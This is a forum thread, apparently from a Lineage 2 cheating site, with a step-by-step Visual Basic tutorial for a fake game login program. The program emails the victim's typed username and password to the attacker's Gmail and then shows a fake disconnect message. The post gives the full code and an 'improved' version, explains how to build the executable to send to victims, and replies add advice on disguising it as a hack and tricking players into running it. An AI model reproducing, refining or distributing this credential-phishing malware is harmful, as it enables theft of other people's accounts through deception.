Jump to content

[Guide]How To make an l2 Account stealing program (With visual basic)


Recommended Posts

Posted

Hello all this  is a really small and basic tutorial on how to make  with visual basic a programm that steals l2 accounts pretty easilly

Q:What this program does?

A:You send it to the victim   and when he puts id and password ,automatically the program sends the information to your g mail account

Note:You must have a gmail acount or create one

Note:This is not keyogger it sends only  the log that he will write in the textbars.

You can find the greek version of this topic here

1)First you are going to need Visual basic download it from here

Once you install the program  ,open it and press control  + N to  start a  new project.Select Windows form Applications and press ok

dw9ud9u.png and press ok

2)We will need 2 buttons,2 labels and 2  textboxes

So select tools  and find this 98fhifhe.png.Click on it and drag it to the form window

Then find that tool r3r3r.png .Click on it and do the same you did with  text box

And the last tool e3e98398e.png, drag and  drop it on the form window

3)Now adjust the size of each label,textbox, and buttons  and your form window should be like this

d0w98d09wudwd.png

4)We have now to rename labels and buttons.

Label 1 must be named "ID"

Label 2 must be named "Password"

Button 1  must be named "Log In"

Button 2 must be named "EXIT"

Note:Exit button is the same as  the victim is pressing log in button

To rename them simply we click 1 time on Label1 and we go down to properties and  in the same line with text we put ID

4893849.png

We do the same  for all the labels and buttons untill the form window looks like this

0d9w9d0w9dw.png

5)Now to make the form window look better we can attach a picture

To attach a picture simply select from the tools the "Picture box tool"0090909.png

We select the space that the picture will take

d0w98d09wdwdudwd.png

After that we find a nice image like this for example

l2logo.png

and we go to properties , Image then a little box is there on the same line we click on it,and we select "import" .We choose the image we want  and then we click ok

image.png

Now a window like this will pop up

s00r9u3r3.pngWe select local resource and  we click import then we find  our image and we click ok

c32399f7.pngNow we have it like this

6) Now we have to add the code for our program to work

We double click the Log in  button and something like this will prompt

i0di0d9i0w9id.png

Now inside there we copy and paste this code

If TextBox1.Text = "" Then
           MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
       Else
       End If
       End if
       Dim smtpServer As New SmtpClient()
       Dim mail As New MailMessage()
       smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
       'using gmail
       smtpServer.Port = 587
       smtpServer.Host = "smtp.gmail.com"
       smtpServer.EnableSsl = True
       mail = New MailMessage()
       mail.From = New MailAddress("Your Gmail")
       mail.To.Add("Your Gmail")
       mail.Subject = "Username: " & TextBox1.Text
       mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
       smtpServer.Send(mail)
       MsgBox("Disconnected From Server, Please try again later!")

New code improvement by Stealth

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
       Dim smtpServer As New SmtpClient()
       Dim mail As New MailMessage()
       smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
       'using gmail
       smtpServer.Port = 587
       smtpServer.Host = "smtp.gmail.com"
       smtpServer.EnableSsl = True
       mail = New MailMessage()
       mail.From = New MailAddress("Your Gmail")
       mail.To.Add("Your Gmail")
       mail.Subject = "Username: " & TextBox1.Text
       mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
       smtpServer.Send(mail)
       MsgBox("Disconnected From Server, Please try again later!")

Note:I havent tested this code cause my vb key is expired but i am sure it wont have any problem.

In this code where it has "Your gmail" you add your g mail and where it has your "g mail password" your g mail password

You must keep the " dont delete them.

You can also change the ok message (msgbox)

Note : I dont know why but this code has a simple error.

Here is how to solve it.

1) You go to the work SmtpClient,it has a small red  symbol under the word(eroor.png)

2)You put the cursor right on this word until this comes out and you simple click on "Import.System.Net.Mail" the first one of this picture

f098euf098ue.png

Note 2)You have to do the same as above for this word "MailAddress"

Once you fix these errors you are okay.

7)Now you are almost ready

Change layer (Go to "Form1.vb" [Design]

And press  start debugging as the picture

dw90udwud.png

If everything is ok and no error builds exist then  your program will come to life(lol)

and you can test it by   pressing a fake id and password .If it comes to your g mail then you succesfully made your proggram !

F09E8HF98EH9F8EHF9HEE.png

:)

You are done!

8)How to save it!!As executable program and start sending this to victim

You press Control + Shift + S

and then save it on your desktop.

In your desktop A file will appear.

Go in the file.You will see another file with the name of your programe click it.

Now you will see a lot of files

dw09dw08dh.png

Select the file  "obj"

Now go into file debugg

And you will see your program in exexutable form!

fh0efh0e98fhfinalpic.png

Now you can start sending this exe to ,people and steal their accounts

-The End.

Credits : To Me

Updated: 18/7/2010

 

 

Posted

Nice.

 

Do you know how to change when you press Log In, when the window appear to change the text of it? I mean the text which says "WindowsApplication1", I wanna change it into Lineage II Hack.

 

Thanks for this share :D

Posted

you mean to rename the exe file?

just rename it by clicking right click and rename

if it is not this tell me cause i did't understand

Posted

293vu5s.png

 

Look at the picture where is the Red Line. This is what I was trying to say...

 

And if you know how I can change the icon too it will be really nice :).

Thanks.

Posted

dw9ud9u.png

yes  when you create you must name it like you want

and it will get fixed

i mean if you name it sure

then right there you want  it will write sure

^^

Posted

Nothing special, idea from email spammer already made for one other game, some years ago (about 1-2) i cant find the site where i see this but im definetly sure that this already shared by someone else (no here) you just change the "Name" prog.

However The guide are yours so GJ

Posted

yes they fail for example you can tell them new bot for your server log in  to linage and then log in from here

there are many fake reasons to tell him and believe me they fail. ;)

Or another think you can do is log in on linage with phx ,upload the file somewhere and spam the link in server  by saying new hack ,bot expoit etc

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now



  • Posts

    • ## [1.4.0] - 2026-01-28   ### ✨ New Features - **Vote System**: Lineage 2 servers can now use our vote–reward system. Players vote on the website and claim rewards in-game (1 vote = 1 claim) - **Vote Page**: On each server’s page (`/servers/<server>`), a **“Vote for Server”** button opens a dedicated vote page with cooldown info and optional Turnstile verification - **By Votes View**: The **“By Votes”** tab on the main page shows **actual vote counts** per server - **API Documentation**: New **API Docs** page at `/docs` (and footer link) with HMAC auth, endpoints, and examples for game server integration - **Vote API (My Servers)**: Server owners can open **“Vote API”** in My Servers to manage credentials, cooldown, allowed IPs, and open the docs   ### 🔄 Improvements - **Server Pages**: Single-server data is cached and loads faster; server pages can be opened by ID or by name (e.g. `/servers/my-server-name`) - **API Root**: Visiting the API root redirects to the docs URL configured in admin (default: site docs page) - **Admin Panel**: New **“Vote System”** tab for global settings (Turnstile, API security, default cooldown, docs URL)   ### 🔐 Security & Reliability - Turnstile (CAPTCHA) support for vote submissions to reduce abuse - HMAC-protected game server API for secure vote check/claim and stats
    • "I recently purchased the account panel from this developer and wanted to leave a positive review.   The transaction was smooth, and the developer demonstrated exceptional professionalism throughout the process.   What truly sets them apart is their outstanding post-sale support. They are responsive, patient, and genuinely helpful when addressing questions or issues. It's clear they care about their customers' experience beyond just the initial sale.   I am thoroughly satisfied and grateful for the service. This is a trustworthy seller who provides real value through both a quality product and reliable support. 100% recommended."
    • Server owners, Top.MaxCheaters.com is now live and accepting Lineage 2 server listings. There is no voting, no rankings manipulation, and no paid advantages. Visibility is clean and equal, and early listings naturally appear at the top while the platform grows. If your server is active, it should already be listed. Submit here https://Top.MaxCheaters.com This platform is part of the MaxCheaters.com network and is being built as a long-term reference point for the Lineage 2 community. — MaxCheaters.com Team
    • ⚙️ General Changed “No Carrier” title to “Disconnected” to avoid confusion after abnormal DC. On-screen Clan War kill notifications will no longer appear during Sieges, Epics, or Events. Bladedancer or SwordSinger classes can now log in even when Max Clients (2) is reached, you cannot have both at the same time. The max is 3 clients. Duels will now be aborted if a monster aggros players during a duel (retail-like behavior). Players can no longer send party requests to blocked players (retail-like). Fixed Researcher Euclie NPC dialogue HTML error. Changed Clan leave/kick penalty from 12 hours to 3 hours. 🧙 Skills Adjusted Decrease Atk. Spd. & Decrease Speed land rates in Varka & FoG. Fixed augmented weapons not getting cooldown when entering Olympiad. 🎉 Events New Team vs Team map added. New Save the King map added (old TvT map). Mounts disabled during Events. Letter Collector Event enabled Monsters drop letters until Feb. 13th Louie the Cat in Giran until Feb. 16th Inventory slots +10 during event period 📜 Quests Fixed “Possessor of a Precious Soul Part 1” rare stuck issue when exceeding max quest items. Fixed Seven Signs applying Strife buff/debuff every Monday until restart. 🏆 Milestones New milestone: “Defeat 700 Monsters in Varka” 🎁 Rewards: 200 Varka’s Mane + Daily Coin 🌍 NEW EXP Bonus Zones Hot Springs added Varka Silenos added (hidden spots excluded) As always, thank you for your support! L2Elixir keeps evolving, improving, and growing every day 💙   Website: https://l2elixir.org/ Discord: https://discord.gg/5ydPHvhbxs
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..